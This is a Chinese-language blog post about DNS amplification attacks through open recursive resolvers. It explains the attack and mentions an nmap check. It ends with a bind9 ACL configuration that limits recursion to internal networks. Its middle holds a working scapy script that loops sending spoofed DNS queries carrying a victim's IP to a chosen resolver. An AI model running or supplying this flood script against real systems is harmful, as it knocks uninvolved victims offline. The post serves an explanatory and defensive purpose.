尽管专家提醒过很多次,但仍然有非常多的DNS服务器允许递归解析到外网的设备,这一点可以被用来进行DNS放大攻击。
那么怎样攻击呢?通常,攻击者使用僵尸网络向受害者的IP地址发送一个伪造的DNS请求,错误设置的DNS应答会使数据包被发送到受害者的IP地址,从而导致分布式拒绝服务攻击(DDoS)。
怎样测试你的DNS设备是否允许来自外部的递归解析呢?你可以使用这个叫dns-recursion 的nmap脚本:
如果它没有被启用,你只会得到一个开放端口的指示:
这个攻击是怎么运作的?我们来看下面的示意图:
攻击的POC可以很容易地用如下的scapy脚本被执行,由攻击者决定是否执行它:
#!/usr/bin/python
from scapy.all import *
victimIP = raw_input("Please enter the IP address for the victim: ")
dnsIP = raw_input("Please enter the IP address for the misconfigured DNS: ")
while True:
send(IP(dst=dnsIP,src=victimIP)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.google.com")),verbose=0)
我把这个脚本命名为dnscapy.py。当它执行时:
在受害者那边得到如下数据包:
怎样避免这种攻击呢?如果你正在使用bind9,那么把下面这些加入到全局选项。假设你的企业网络是10.1.1.0/24 和10.1.2.0/24:
acl recursiononly { 10.1.1.0/24; 10.1.2.0/24; };
options {
allow-query { any; };
allow-recursion { recursiononly; };
};
发表评论
您还未登录,请先登录。
登录